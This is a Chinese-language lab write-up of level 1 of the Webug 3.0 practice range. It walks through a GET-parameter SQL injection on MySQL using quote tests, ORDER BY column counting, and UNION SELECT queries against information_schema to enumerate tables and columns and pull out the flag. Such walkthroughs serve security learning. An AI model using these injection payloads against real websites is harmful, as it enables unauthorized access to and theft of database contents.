Webug3.0 教程 第一关:很简单的一个注入 普通的GET注入
Webug3.0 教程
第一关:很简单的一个注入 普通的GET注入
说明:以下步骤是我打靶场的记录,与大家分享我的学习过程,请各位大佬指正。
本题考点:SQL注入之mysql的联合查询**。
1. 打开本题,看到的是这样的界面
2. 在原始URL后分别加’和’’,在输入’时数据库报错,发现有字符型SQL注入漏洞
数据库对于单引号的规则:
1.单引号必须成对出现,否则数据库就会报错;
2.如果两个单引号之间内容为空,数据库自动忽略。
注入一个单引号:Select…from…where id=’1’’
注入两个单引号:Select…from…where id=’1’’’
报错,意味着输入的单引号被数据库成功执行。
3. 利用order by语句猜数列,在输入1-4时页面正常,输入5时页面报错,说明有4个数列
Order by语句用于对结果集进行排序。
4. 用union select 测试显示位
UNION操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。
Select()用于查询表格内字段数据。
5.查数据库版本,用户和当前数据库名
select version():查询数据库版本;
select user():查询数据库用户名;
select database():查询数据库名。
查询本题的所有数据库,可用union select group_concat(schema_name),2,3,4 from
information_schema.schemata-- +
查询当前数据库,可用union select database(),2,3,4-- -(也可将-- -换成%23等)
6.从当前数据库中查表名
%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。
可以使用%23(#),–%123456(至少两位的数字),–%12%12这些数据库注释符号,进行注释。
方法一:查询当前数据库的表名union select 1,group_concat(table_name),3,4 from
information_schema.tables where table_schema = database() %23
方法二:查询指定数据库的表名union select group_concat(table_name),2,3,4 from
information_schema.tables where table_schema =‘pentesterlab’%23
7.从flag表中查列名
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = ‘flag’ %23
8.从flag列中查flag值
union select 1,flag,3,4 from flag %23